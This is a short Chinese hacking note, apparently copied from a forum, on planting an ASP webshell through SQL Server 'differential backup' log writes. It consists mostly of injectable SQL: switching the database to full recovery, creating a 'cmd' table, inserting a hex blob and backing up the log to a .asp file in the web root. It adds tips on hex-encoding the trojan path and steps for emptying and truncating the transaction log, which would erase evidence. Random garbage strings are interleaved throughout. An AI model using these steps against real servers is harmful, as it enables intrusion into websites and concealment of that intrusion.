差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录

select name from master.dbo.sysdatabases 仅列出name列的记录

注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
- n5 }1 z$ U* j4 b- m$ i, V
alter database 数据库名 set RECOVERY FULL--
" ^' t; G) r& H9 ?0 U! v
create table cmd (a image)--                    \**cmd是创建的临时表

. i1 c% W/ [! gbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
2 g+ `) i7 r" }) V4 V
. t! i, i( @2 r/ J5 rinsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
! }* i/ K% B+ _  q1 e
//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）

backup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)

drop table cmd--
! E& |; S. K2 _& A8 X1 \- S

f:\
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

最好多加几个回车0d0a,要不会出错哈
! G* i$ N8 A1 l9 }) g

- A: H; x$ O: ]" BSQL   Server日志清空方法   
" A( |# B) n/ C( M3 N* X
7 u) l) ^7 E& M在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   

2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   

9 v- w1 D3 J, I# |$ X. }- y, R3.收缩数据库：DBCC   SHRINKDATABASE(databasename)